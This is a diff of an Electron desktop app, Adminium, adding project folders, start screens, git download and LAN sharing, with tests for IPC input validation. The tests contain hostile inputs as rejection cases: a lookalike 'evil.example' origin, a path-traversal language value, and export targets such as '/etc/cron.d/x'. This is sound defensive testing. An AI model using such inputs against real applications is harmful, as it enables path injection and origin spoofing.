+ const next: DesktopConfig = { ...config, projects: config.projects.map((entry) => (entry.path === root ? { ...entry, state: 'building' as const } : entry)) };
+ await deps.config.save(next).catch(() => undefined);
+ config = next;
+ }
+ }
+ projectSharing = null;
+ projectExporting = null;
+ updateManager?.dispose();
+ updateManager = null;
+ manager = null;
+ runtime = null;
+ windows.useProjectSession?.(null);
+ void chooseAndBoot(true);
+ return true;
+ };
+
+ await chooseAndBoot(false);
},
};
}
@@ -1225,6 +1855,8 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
*/
export function applyConfigPatch(config: DesktopConfig, patch: DesktopConfigPatch): DesktopConfig {
const next: DesktopConfig = { ...config };
+ if (patch.language !== undefined) next.language = patch.language;
+ if (patch.theme !== undefined) next.theme = patch.theme;
if (patch.singleUser !== undefined) next.singleUser = patch.singleUser;
if (patch.lanShare !== undefined) next.lanShare = { ...patch.lanShare };
if (patch.updates !== undefined) next.updates = { ...patch.updates };
@@ -1585,15 +2217,17 @@ export function microphoneSwitchedOn(body: unknown): boolean {
*/
function electronCapabilityGrantReader(
serverOrigin: () => string | null,
+ /** The project that is open, whose cookies are in a jar of their own under a name of their own; `null` for the classic workspace. */
+ project: () => { readonly root: string } | null = () => null,
): CapabilityGrantReader {
return async () => {
const origin = serverOrigin();
if (origin === null) return null;
- const cookies = await session.defaultSession.cookies.get({
- url: origin,
- name: SESSION_COOKIE_NAME,
- });
+ const opened = project();
+ const jar = opened === null ? session.defaultSession : session.fromPartition(projectPartition(opened.root));
+ const names = opened === null ? [SESSION_COOKIE_NAME] : sessionCookieNames(SESSION_COOKIE_NAME, Number(new URL(origin).port));
+ const cookies = (await jar.cookies.get({ url: origin })).filter((held) => names.includes(held.name));
const cookie = cookies[0];
if (cookie === undefined) return null;
@@ -1743,6 +2377,8 @@ function mainProcessConfigLogger(write: (line: string) => void): ConfigLogger {
/** The real ports. Never called under vitest — see the module header. */
export function electronBootDeps(): DesktopBootDeps {
+ // The test seam (see `project.ts`): a packaged app never reads it.
+ const openedProject = seamProject(process.env, app.isPackaged);
const userDataDir = app.getPath('userData');
// `/logs`, which is exactly what Electron's `logs` path is.
const logsDir = app.getPath('logs');
@@ -1752,6 +2388,52 @@ export function electronBootDeps(): DesktopBootDeps {
};
const windows = createWindowManager({ userDataDir });
const dialogs = createNativeDialogs();
+ // The app's own Node (this program, asked to be Node), the npm it carries, and the stand-ins, made now from
+ // THIS launch's path; and a git that really works here, or none (versions are then off, and never Apple's
+ // stand-in started "to see").
+ // The test seam (see `project.ts`): a computer with no git but the app's own, and a stand-in for the download.
+ /** The system's own token for "do not sleep", while a project is shared. */
+ let awake: number | null = null;
+ const gitSeam = seamGit(process.env, app.isPackaged);
+ let gitFound = false;
+ let gitFetching = false;
+ const projectPrograms = async () => {
+ // Not while a download is being unpacked: its half-made folder is exactly what this would delete.
+ const cleared = gitFetching ? [] : removeUnfinishedGit(userDataDir);
+ if (cleared.length > 0) mainLog(`[git] removed a download that was cut short: ${cleared.join(', ')}`);
+ const git = await findGit({
+ platform: process.platform,
+ arch: process.arch,
+ env: process.env,
+ userDataDir,
+ exists: existsSync,
+ run: runProgram,
+ ...(gitSeam === null ? {} : { onlyOwn: true, download: gitSeam.download }),
+ });
+ gitFound = git !== null;
+ mainLog(git === null ? '[git] none found: versions are off' : `[git] ${git.path} (${git.from})`);
+ return JSON.stringify(
+ provideDesktopPrograms({
+ binary: process.execPath,
+ // Packaged: beside the archive, as real files. From the sources: this package's own dependency.
+ npmDir: carriedNpmDir(app.isPackaged, process.resourcesPath, dirname(fileURLToPath(import.meta.url))),
+ userDataDir,
+ git: git?.path ?? null,
+ // Made by the release (`scripts/release/starter-lockfile.mjs`); a build without it installs the ordinary way.
+ starterDir: resolve(dirname(fileURLToPath(import.meta.url)), '..', '..', 'resources', 'starter'),
+ platform: process.platform,
+ }),
+ );
+ };
+ /** The engine's own command line, as the app starts it for a project: `new` for a new one, `install` for one that is there. */
+ const engineCli: MakeProjectDeps = {
+ binary: process.execPath,
+ cliEntry: resolve(dirname(createRequire(import.meta.url).resolve('@adminium/server')), 'cli', 'index.js'),
+ programs: projectPrograms,
+ env: process.env,
+ run: runToEnd,
+ log: mainLog,
+ };
/** The relaunch — one implementation, two callers (the host port). */
const relaunchApp = (): void => {
// `relaunch()` only QUEUES the restart. It is `quit()` that ends this
@@ -1969,9 +2651,112 @@ export function electronBootDeps(): DesktopBootDeps {
demoSeedScript: bundledDemoSeedScript(),
bundledAddOnsDir: bundledAddOnsBundleDir(),
+ // A project folder (plan 66). Until the app's own first screens exist, the
+ // only way in is the test seam, which a packaged app does not read.
+ openProject: openedProject,
+ // The app's own first screens: Start, and from it a new project, a recent one, or the classic workspace.
+ startScreen: {
+ folder: realFolderDeps(app.isPackaged ? dirname(process.resourcesPath) : resolve(dirname(fileURLToPath(import.meta.url)), '..', '..')),
+ chooseDirectory: (opts) => dialogs.chooseDirectory(opts),
+ makeProject: createMakeProject(engineCli),
+ installPackages: createInstallPackages(engineCli),
+ folderFacts: createFolderFacts(engineCli),
+ // Electron's own fetch: the system's proxy and certificates. The one request the app itself makes of a guest.
+ checkGuest: (origin) => checkGuest(origin, (url, init) => net.fetch(url, init)),
+ updateProject: createUpdateProject(engineCli),
+ // A `.env` is a hidden file: the picker is asked to show those.
+ chooseFile: async (opts) => {
+ const result = await dialog.showOpenDialog({ title: opts.title, ...(opts.defaultPath === undefined ? {} : { defaultPath: opts.defaultPath }), properties: ['openFile', 'showHiddenFiles'] });
+ return result.canceled ? null : (result.filePaths[0] ?? null);
+ },
+ classicUsed: (loaded) => existsSync(join(loaded.dataDir, 'meta.db')),
+ },
+ projectEnv: process.env,
+ exporting: {
+ saveAs: async ({ title, defaultName }) => {
+ const parent = BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0] ?? null;
+ const options: Electron.SaveDialogOptions = { title, defaultPath: join(app.getPath('documents'), defaultName), filters: [{ name: 'ZIP', extensions: ['zip'] }] };
+ const picked = parent === null ? await dialog.showSaveDialog(options) : await dialog.showSaveDialog(parent, options);
+ return picked.canceled || picked.filePath === '' ? null : picked.filePath;
+ },
+ showInFolder: (path) => {
+ shell.showItemInFolder(path);
+ return Promise.resolve();
+ },
+ stamp: () => ({ system: process.platform, chip: process.arch, engine: app.getVersion() }),
+ },
+ sharing: {
+ hostname: () => os.hostname(),
+ // Free on every network this computer is on: that is where a shared project listens.
+ isFree: async (port) => (await probeBindable('0.0.0.0', port)).ok,
+ // The computer may not sleep while others use the project; its display may.
+ keepAwake: (on) => {
+ if (awake !== null) {
+ powerSaveBlocker.stop(awake);
+ awake = null;
+ }
+ if (on) awake = powerSaveBlocker.start('prevent-app-suspension');
+ },
+ },
+ models: createModelsStore({ file: modelsFileFor(userDataDir), keyStore: safeStorage, log: mainLog }),
+ projectPrograms,
+ projectGit: {
+ found: () => gitFound,
+ bytes: (gitSeam?.download ?? gitDownloadFor(process.platform, process.arch))?.bytes ?? null,
+ platform: process.platform,
+ fetch: async ({ signal, onProgress }) => {
+ gitFetching = true;
+ try {
+ return await fetchGit({
+ userDataDir,
+ platform: process.platform,
+ arch: process.arch,
+ // Electron's own fetch: the system's proxy and certificates, as the updater uses.
+ fetch: (url, init) => net.fetch(url, init),
+ signal,
+ onProgress,
+ ...(gitSeam === null ? {} : { download: gitSeam.download, url: gitSeam.url, allowHost: () => true }),
+ });
+ } finally {
+ gitFetching = false;
+ }
+ },
+ // Apple's own dialog, asked for by the person's click: the one time its stand-in is started on purpose.
+ installAppleTools: async () => {
+ await runProgram('/usr/bin/xcode-select', ['--install'], { timeoutMs: 10_000, env: {} });
+ },
+ log: mainLog,
+ },
+ pickProjectPort: () => {
+ const range = projectPortRange(process.env, app.isPackaged);
+ return firstFreePort(range.first, range.last);
+ },
+ // Absolute even though this build bundles no apps: the server's default is
+ // `./apps-bundle`, which a project's child would look for inside the opened folder.
+ bundledAppsDir: resolve(dirname(fileURLToPath(import.meta.url)), '..', '..', 'resources', 'apps-bundle'),
+ confirmStopBusy: async (busy, why, said) => {
+ const words = stopBusyWords(busy, why, said ?? undefined);
+ const parent = BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0] ?? null;
+ const options: Electron.MessageBoxOptions = {
+ type: 'warning',
+ buttons: [words.goOn, words.stay],
+ // Staying is the default and the escape route: a stray Return must not end a turn.
+ defaultId: 1,
+ cancelId: 1,
+ title: words.title,
+ message: words.title,
+ detail: words.detail,
+ };
+ const result = parent === null ? await dialog.showMessageBox(options) : await dialog.showMessageBox(parent, options);
+ return result.response === 0;
+ },
+
registerBridge: (context) => {
const handlers = registerIpcHandlers({
ipc: ipcMain,
+ pinSender: app.isPackaged,
+ start: context.start,
+ project: context.project,
// The two synchronous properties. `versions.app` is `app.getVersion()`
// and exists ONLY here: a sandboxed preload's polyfilled `process` knows
// electron/chrome/node and nothing about the app itself, which is the
@@ -2023,12 +2808,13 @@ export function electronBootDeps(): DesktopBootDeps {
// moves on every restart, so a captured string would post to a dead port
// the first time LAN share flipped.
capabilities: createCapabilityHost({
- readGrants: electronCapabilityGrantReader(() => {
- const rt = context.runtime();
- return rt === null || rt.serverPort < 0
- ? null
- : `http://127.0.0.1:${String(rt.serverPort)}`;
- }),
+ readGrants: electronCapabilityGrantReader(
+ () => {
+ const rt = context.runtime();
+ return rt === null || rt.serverPort < 0 ? null : `http://127.0.0.1:${String(rt.serverPort)}`;
+ },
+ () => openedProject ?? null,
+ ),
providers: [createEscposPrinterProvider()],
log: mainLog,
}),
diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts
index 839e39623..e3ff42992 100644
--- a/apps/desktop/src/main/ipc.test.ts
+++ b/apps/desktop/src/main/ipc.test.ts
@@ -15,15 +15,16 @@ import { describe, expect, it, vi } from 'vitest';
import {
INVOKE_CHANNELS,
+ START_CHANNELS,
IPC_CHANNELS,
type BridgeBootstrap,
- type IpcResult,
-} from '../preload/channels.js';
+ type IpcResult, VERSIONS_CHANNELS, SHARE_CHANNELS } from '../preload/channels.js';
import { CAPABILITY_NOT_GRANTED, CAPABILITY_STUB, type CapabilityHost } from './capabilities/host.js';
import { createDefaultConfig, type DesktopConfig } from './config.js';
import {
isLoopbackHostname,
loopbackSenderPolicy,
+ pinnedSenderPolicy,
registerIpcHandlers,
toErrorPayload,
type DesktopDialogs,
@@ -31,8 +32,10 @@ import {
type IpcInvokeEventLike,
type IpcMainLike,
type IpcSyncEventLike,
+ ownPagePolicy,
type RegisterIpcHandlersOptions,
} from './ipc.js';
+import type { StartService } from './start.js';
import type { SetDataDirResult } from '../preload/api.js';
import type { UpdateManager } from './updates.js';
@@ -258,6 +261,8 @@ describe('an invalid payload is rejected by zod, not passed through', () => {
['setConfig with a bad update mode', IPC_CHANNELS.setConfig, { updates: { mode: 'silent' } }],
['setConfig with keep out of range', IPC_CHANNELS.setConfig, { autoBackup: { enabled: true, keep: 0 } }],
['setConfig with a non-boolean', IPC_CHANNELS.setConfig, { singleUser: 'yes' }],
+ ['setConfig with a language that is not a tag', IPC_CHANNELS.setConfig, { language: '../../etc' }],
+ ['setConfig with a theme that is not one', IPC_CHANNELS.setConfig, { theme: 'neon' }],
['capabilities.invoke with an empty id', IPC_CHANNELS.capabilitiesInvoke, { capabilityId: '', method: 'print' }],
['relaunch with a smuggled argument', IPC_CHANNELS.relaunch, { force: true }],
])('%s', async (_name, channel, payload) => {
@@ -339,6 +344,37 @@ describe('sender policy', () => {
expect(loopbackSenderPolicy(null)).toBe(false);
});
+ describe('pinned, in the packaged app', () => {
+ let port: number | null = 51234;
+ const pinned = pinnedSenderPolicy(() => port);
+
+ it.each([
+ ['the server main started', 'http://127.0.0.1:51234/design', true],
+ ['the bundled boot/crash pages', 'file:///opt/app/out/renderer/crash.html', true],
+ ['the preview’s name on the same port (pages a model wrote)', 'http://localhost:51234/a/repairs/', false],
+ ['another Adminium on this machine', 'http://127.0.0.1:4600/', false],
+ ['another Adminium on localhost', 'http://localhost:4600/', false],
+ ['the same port over https', 'https://127.0.0.1:51234/', false],
+ ['IPv6 loopback', 'http://[::1]:51234/', false],
+ ['a lookalike host', 'http://127.0.0.1.evil.example:51234/', false],
+ ['a blob minted on the app', 'blob:http://127.0.0.1:51234/abc', false],
+ ['garbage', 'not a url', false],
+ ])('%s', (_name, url, allowed) => {
+ port = 51234;
+ expect(pinned(url)).toBe(allowed);
+ });
+
+ it('follows a restart on a new port at once, and knows no server before one is up', () => {
+ port = 60001;
+ expect(pinned('http://127.0.0.1:60001/')).toBe(true);
+ expect(pinned('http://127.0.0.1:51234/')).toBe(false);
+ port = null;
+ expect(pinned('http://127.0.0.1:60001/')).toBe(false);
+ expect(pinned('file:///opt/app/out/renderer/crash.html')).toBe(true);
+ expect(pinned(null)).toBe(false);
+ });
+ });
+
it('classifies loopback hostnames', () => {
expect(isLoopbackHostname('127.0.0.1')).toBe(true);
expect(isLoopbackHostname('localhost')).toBe(true);
@@ -633,3 +669,271 @@ describe('dialogs and lifecycle route to their ports', () => {
expect(showLogs).toHaveBeenCalledOnce();
});
});
+
+// ─── the first screens ───────────────────────────────────────────────────────
+
+describe('the first screens’ channels', () => {
+ const OWN_PAGE: IpcInvokeEventLike = { senderFrame: { url: 'file:///Applications/Adminium.app/Contents/Resources/app.asar/out/renderer/app/index.html#/new' } };
+
+ const service = (): StartService => ({
+ state: vi.fn(() => ({ firstLaunch: true, recent: [], proposedParent: '/home/ava/Adminium', proposedParentDisplay: '~/Adminium', language: null, theme: 'system' as const })),
+ judgeNewFolder: vi.fn(() => ({ ok: true as const, path: '/home/ava/Adminium/shop', displayPath: '~/Adminium/shop', warning: null })),
+ chooseParent: vi.fn(() => Promise.resolve('/picked')),
+ createProject: vi.fn(() => Promise.resolve({ status: 'created' as const, path: '/home/ava/Adminium/shop' })),
+ makeProgress: vi.fn(() => ({ step: 'packages' as const, since: 1 })),
+ chooseFolder: vi.fn(() => Promise.resolve({ path: '/p', displayPath: '/p' })),
+ openProject: vi.fn(() => Promise.resolve({ status: 'opened' as const })),
+ getPackages: vi.fn(() => Promise.resolve({ status: 'ready' as const })),
+ resolveKey: vi.fn(() => Promise.resolve({ status: 'done' as const })),
+ updateProject: vi.fn(() => Promise.resolve({ status: 'updated' as const })),
+ updateApp: vi.fn(() => true),
+ connect: vi.fn(() => Promise.resolve({ status: 'opened' as const, guests: [] })),
+ guests: vi.fn(() => []),
+ forgetGuest: vi.fn(() => Promise.resolve([])),
+ forgetProject: vi.fn(() => Promise.resolve([])),
+ locateProject: vi.fn(() => Promise.resolve({ status: 'cancelled' as const })),
+ useClassic: vi.fn(),
+ trustNow: vi.fn(() => Promise.resolve()),
+ });
+
+ const PAYLOADS: Record = {
+ [IPC_CHANNELS.startState]: undefined,
+ [IPC_CHANNELS.startJudgeNewFolder]: { parent: '/home/ava/Adminium', name: 'Shop' },
+ [IPC_CHANNELS.startChooseParent]: { from: '/home/ava/Adminium', title: 'Where to keep it' },
+ [IPC_CHANNELS.startCreateProject]: { parent: '/home/ava/Adminium', name: 'Shop', acceptWarning: true },
+ [IPC_CHANNELS.startMakeProgress]: undefined,
+ [IPC_CHANNELS.startChooseFolder]: { title: 'Open a folder' },
+ [IPC_CHANNELS.startOpenProject]: { path: '/home/ava/Adminium/shop', agreed: true, seen: ['found', 'accounts'] },
+ [IPC_CHANNELS.startResolveKey]: { path: '/home/ava/Adminium/shop', answer: 'env', title: 'Choose the .env file' },
+ [IPC_CHANNELS.startUpdateProject]: { path: '/home/ava/Adminium/shop' },
+ [IPC_CHANNELS.startUpdateApp]: undefined,
+ [IPC_CHANNELS.startConnect]: { address: 'office-pc.local:4600', anyway: true },
+ [IPC_CHANNELS.startGuests]: undefined,
+ [IPC_CHANNELS.startForgetGuest]: 'http://office-pc.local:4600',
+ [IPC_CHANNELS.startGetPackages]: { path: '/home/ava/Adminium/shop', land: 'dashboard' },
+ [IPC_CHANNELS.startForgetProject]: '/home/ava/Adminium/shop',
+ [IPC_CHANNELS.startLocateProject]: { path: '/home/ava/Adminium/shop', title: 'Where is Shop now?' },
+ [IPC_CHANNELS.startUseClassic]: undefined,
+ };
+
+ it('are answered for the app’s own pages, each by its own call', async () => {
+ const start = service();
+ const h = harness({ start: () => start });
+ for (const channel of START_CHANNELS) expectOk(await h.ipc.invoke(channel, PAYLOADS[channel], OWN_PAGE));
+ expect(start.judgeNewFolder).toHaveBeenCalledWith({ parent: '/home/ava/Adminium', name: 'Shop' });
+ expect(start.chooseParent).toHaveBeenCalledWith({ from: '/home/ava/Adminium', title: 'Where to keep it' });
+ expect(start.createProject).toHaveBeenCalledWith({ parent: '/home/ava/Adminium', name: 'Shop', acceptWarning: true });
+ expect(start.chooseFolder).toHaveBeenCalledWith({ title: 'Open a folder' });
+ expect(start.openProject).toHaveBeenCalledWith({ path: '/home/ava/Adminium/shop', agreed: true, seen: ['found', 'accounts'] });
+ expect(start.resolveKey).toHaveBeenCalledWith({ path: '/home/ava/Adminium/shop', answer: 'env', title: 'Choose the .env file' });
+ expect(start.updateProject).toHaveBeenCalledWith({ path: '/home/ava/Adminium/shop' });
+ expect(start.updateApp).toHaveBeenCalledTimes(1);
+ expect(start.connect).toHaveBeenCalledWith({ address: 'office-pc.local:4600', anyway: true });
+ expect(start.forgetGuest).toHaveBeenCalledWith('http://office-pc.local:4600');
+ expect(start.forgetProject).toHaveBeenCalledWith('/home/ava/Adminium/shop');
+ expect(start.locateProject).toHaveBeenCalledWith({ path: '/home/ava/Adminium/shop', title: 'Where is Shop now?' });
+ expect(start.useClassic).toHaveBeenCalledTimes(1);
+ expect(start.state).toHaveBeenCalledTimes(1);
+ });
+
+ it('leaves out what the page did not say rather than passing undefined', async () => {
+ const start = service();
+ const h = harness({ start: () => start });
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.startCreateProject, { parent: '/p', name: 'Shop' }, OWN_PAGE));
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.startOpenProject, { path: '/p' }, OWN_PAGE));
+ expect(start.createProject).toHaveBeenCalledWith({ parent: '/p', name: 'Shop' });
+ expect(start.openProject).toHaveBeenCalledWith({ path: '/p' });
+ });
+
+ it('are refused for a project’s dashboard, which holds the rest of the bridge: every one of them', async () => {
+ const start = service();
+ const log = vi.fn();
+ const h = harness({ start: () => start, log });
+ for (const channel of START_CHANNELS) {
+ // The loopback page is trusted for the rest of the bridge…
+ expect(expectFail(await h.ipc.invoke(channel, PAYLOADS[channel], APP_FRAME)).code).toBe('UNTRUSTED_SENDER');
+ // …and a frame with no address at all is nobody.
+ expect(expectFail(await h.ipc.invoke(channel, PAYLOADS[channel], { senderFrame: null })).code).toBe('UNTRUSTED_SENDER');
+ }
+ for (const call of Object.values(start)) expect(call).not.toHaveBeenCalled();
+ expect(log).toHaveBeenCalledWith(expect.stringContaining('not the app’s own'.replace('’', "'")));
+ });
+
+ it('say so when Start is not what the window holds', async () => {
+ for (const h of [harness({ start: () => null }), harness()]) {
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.startState, undefined, OWN_PAGE)).code).toBe('UNAVAILABLE');
+ }
+ });
+
+ it('refuse a path that is not absolute, a title that is empty, and a field nobody named', async () => {
+ const start = service();
+ const h = harness({ start: () => start });
+ const bad: Array<[string, unknown]> = [
+ [IPC_CHANNELS.startOpenProject, { path: 'relative/shop' }],
+ [IPC_CHANNELS.startJudgeNewFolder, { parent: '../up', name: 'Shop' }],
+ [IPC_CHANNELS.startChooseFolder, { title: '' }],
+ [IPC_CHANNELS.startCreateProject, { parent: '/p', name: 'Shop', extra: true }],
+ [IPC_CHANNELS.startForgetProject, 42],
+ [IPC_CHANNELS.startUseClassic, { anything: 1 }],
+ ];
+ for (const [channel, payload] of bad) expect(expectFail(await h.ipc.invoke(channel, payload, OWN_PAGE)).code).toBe('INVALID_PAYLOAD');
+ expect(start.openProject).not.toHaveBeenCalled();
+ expect(start.createProject).not.toHaveBeenCalled();
+ });
+
+ it('the own-page rule is the file: scheme and nothing else', () => {
+ expect(ownPagePolicy('file:///opt/Adminium/resources/app.asar/out/renderer/app/index.html')).toBe(true);
+ expect(ownPagePolicy('http://127.0.0.1:4700/design')).toBe(false);
+ expect(ownPagePolicy('https://example.com/file://')).toBe(false);
+ expect(ownPagePolicy(null)).toBe(false);
+ });
+});
+
+// ─── the project this window holds ───────────────────────────────────────────
+
+describe('the project’s channels', () => {
+ const INFO = { root: '/home/ava/Adminium/shop', displayPath: '~/Adminium/shop', name: 'Shop', mode: 'design' as const };
+
+ it('say what the window holds, without the folder’s real path', async () => {
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true) } });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectInfo))).toEqual({ name: 'Shop', displayPath: '~/Adminium/shop', mode: 'design' });
+ });
+
+ it('answer null in the classic workspace, and refuse the two that act', async () => {
+ for (const h of [harness(), harness({ project: { info: () => null, close: () => Promise.resolve(true) } })]) {
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectInfo))).toBeNull();
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectShowInFolder)).code).toBe('UNAVAILABLE');
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectClose)).code).toBe('UNAVAILABLE');
+ expect(h.dialogs.showItemInFolder).not.toHaveBeenCalled();
+ }
+ });
+
+ it('show the project’s own folder, whatever the page sends', async () => {
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true) } });
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.projectShowInFolder));
+ expect(h.dialogs.showItemInFolder).toHaveBeenCalledWith('/home/ava/Adminium/shop');
+ // No call takes a path: a page cannot aim one at another folder.
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectShowInFolder, '/etc')).code).toBe('INVALID_PAYLOAD');
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectClose, { path: '/etc' })).code).toBe('INVALID_PAYLOAD');
+ expect(h.dialogs.showItemInFolder).toHaveBeenCalledTimes(1);
+ });
+
+ it('close it, and say whether the person kept working', async () => {
+ const close = vi.fn<() => Promise>().mockResolvedValueOnce(true).mockResolvedValueOnce(false);
+ const h = harness({ project: { info: () => INFO, close } });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectClose))).toBe(true);
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectClose))).toBe(false);
+ });
+
+ it('take the quit and close questions’ words whole, bounded, and never from a stranger', async () => {
+ const setStopWords = vi.fn();
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true), setStopWords } });
+ const words = { turn: 'a', start: 'b', save: 'c', restore: 'd', style: 'e', other: 'f', quitDetail: 'g', closeDetail: 'h', quitAnyway: 'i', closeAnyway: 'j', keepWorking: 'k', shareDetail: 'l', shareAnyway: 'm' };
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.projectStopWords, words));
+ expect(setStopWords).toHaveBeenCalledWith(words);
+ // A native dialog's words: all of them, each of a sentence's length, and nothing else.
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectStopWords, { ...words, turn: undefined })).code).toBe('INVALID_PAYLOAD');
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectStopWords, { ...words, turn: 'x'.repeat(301) })).code).toBe('INVALID_PAYLOAD');
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectStopWords, { ...words, extra: 'x' })).code).toBe('INVALID_PAYLOAD');
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectStopWords, words, { senderFrame: { url: 'https://example.com/' } })).code).toBe('UNTRUSTED_SENDER');
+ expect(setStopWords).toHaveBeenCalledTimes(1);
+ // A build with nowhere to keep them answers all the same.
+ expectOk(await harness().ipc.invoke(IPC_CHANNELS.projectStopWords, words));
+ });
+
+ it('carry the export: a kind and a title, never where the file goes', async () => {
+ const exporting = {
+ run: vi.fn(() => Promise.resolve({ status: 'saved' as const, file: 'shop.zip', megabytes: 4.2 })),
+ takeResult: vi.fn(() => ({ status: 'saved' as const, file: 'shop.zip', megabytes: 4.2 })),
+ show: vi.fn(() => Promise.resolve()),
+ };
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true), exporting: () => exporting } });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectExport, { kind: 'everything', title: 'Export Shop' }))).toEqual({ status: 'saved', file: 'shop.zip', megabytes: 4.2 });
+ expect(exporting.run).toHaveBeenCalledWith({ kind: 'everything', title: 'Export Shop' });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectExportResult))).toMatchObject({ status: 'saved' });
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.projectShowExport));
+ expect(exporting.show).toHaveBeenCalledTimes(1);
+ // A page cannot say where the file is written, nor ask for a kind there is none of.
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.projectExport, { kind: 'apps', title: 't', from: '/design/ds_abc?x=1' }));
+ expect(exporting.run).toHaveBeenLastCalledWith({ kind: 'apps', title: 't', from: '/design/ds_abc?x=1' });
+ for (const bad of [{ kind: 'apps', title: 't', from: '//evil.example/x' }, { kind: 'apps', title: 't', from: 'https://evil.example/' }, { kind: 'apps', title: 't', from: '/x#designToken=1' }, { kind: 'everything', title: 't', to: '/etc/cron.d/x' }, { kind: 'secrets', title: 't' }, { kind: 'apps' }, undefined]) {
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectExport, bad)).code).toBe('INVALID_PAYLOAD');
+ }
+ expect(exporting.run).toHaveBeenCalledTimes(2);
+ const stranger: IpcInvokeEventLike = { senderFrame: { url: 'https://example.com/' } };
+ for (const channel of [IPC_CHANNELS.projectExport, IPC_CHANNELS.projectExportResult, IPC_CHANNELS.projectShowExport]) expect(expectFail(await h.ipc.invoke(channel, { kind: 'apps', title: 't' }, stranger)).code).toBe('UNTRUSTED_SENDER');
+ const none = harness();
+ expect(expectOk(await none.ipc.invoke(IPC_CHANNELS.projectExportResult))).toBeNull();
+ expect(expectFail(await none.ipc.invoke(IPC_CHANNELS.projectExport, { kind: 'apps', title: 't' })).code).toBe('UNAVAILABLE');
+ expect(expectFail(await none.ipc.invoke(IPC_CHANNELS.projectShowExport)).code).toBe('UNAVAILABLE');
+ });
+
+ it('carry Build and Share for the project’s page and for the app’s own, and nothing when there is no project', async () => {
+ const INFO_SHARED = { name: 'Shop', port: 4712, addresses: [{ url: 'http://office.local:4712', via: null, best: true }], changedFrom: null, language: null, theme: 'system' as const };
+ const sharing = {
+ share: vi.fn(() => Promise.resolve({ status: 'shared' as const })),
+ build: vi.fn(() => Promise.resolve(true)),
+ info: vi.fn(() => INFO_SHARED),
+ showShared: vi.fn(() => Promise.resolve()),
+ openDashboard: vi.fn(() => Promise.resolve()),
+ };
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true), sharing: () => sharing } });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectShare))).toEqual({ status: 'shared' });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectBuild))).toBe(true);
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectShareInfo))).toEqual(INFO_SHARED);
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.projectShowShared));
+ expectOk(await h.ipc.invoke(IPC_CHANNELS.projectOpenDashboard));
+ for (const call of Object.values(sharing)) expect(call).toHaveBeenCalledTimes(1);
+ // The app's own page (the sharing details) may ask too.
+ const own: IpcInvokeEventLike = { senderFrame: { url: 'file:///Applications/Adminium.app/Contents/Resources/app.asar/out/renderer/app/index.html#/shared' } };
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.projectBuild, undefined, own))).toBe(true);
+ // No call takes anything: a page cannot say what is shared, or where.
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.projectShare, { host: '0.0.0.0' })).code).toBe('INVALID_PAYLOAD');
+ const stranger: IpcInvokeEventLike = { senderFrame: { url: 'https://example.com/' } };
+ for (const channel of SHARE_CHANNELS) expect(expectFail(await h.ipc.invoke(channel, undefined, stranger)).code).toBe('UNTRUSTED_SENDER');
+ // No project, or a build that cannot share: "is it shared?" answers no, the rest are unavailable.
+ for (const none of [harness(), harness({ project: { info: () => INFO, close: () => Promise.resolve(true), sharing: () => null } })]) {
+ expect(expectOk(await none.ipc.invoke(IPC_CHANNELS.projectShareInfo))).toBeNull();
+ for (const channel of [IPC_CHANNELS.projectShare, IPC_CHANNELS.projectBuild, IPC_CHANNELS.projectShowShared, IPC_CHANNELS.projectOpenDashboard]) expect(expectFail(await none.ipc.invoke(channel)).code).toBe('UNAVAILABLE');
+ }
+ });
+
+ it('carry the versions offer of the project that is open, and nothing when there is none', async () => {
+ const STATE = { on: false, declined: false, megabytes: 62, appleTools: true, download: { phase: 'idle' as const } };
+ const offer = {
+ state: vi.fn(() => STATE),
+ download: vi.fn(() => ({ ...STATE, download: { phase: 'downloading' as const, received: 0, total: 62 } })),
+ cancel: vi.fn(() => STATE),
+ notNow: vi.fn(() => Promise.resolve({ ...STATE, declined: true })),
+ lookAgain: vi.fn(() => Promise.resolve({ ...STATE, on: true })),
+ appleTools: vi.fn(() => Promise.resolve(STATE)),
+ dispose: vi.fn(),
+ };
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true), versions: () => offer } });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.versionsState))).toEqual(STATE);
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.versionsDownload))).toMatchObject({ download: { phase: 'downloading' } });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.versionsCancel))).toEqual(STATE);
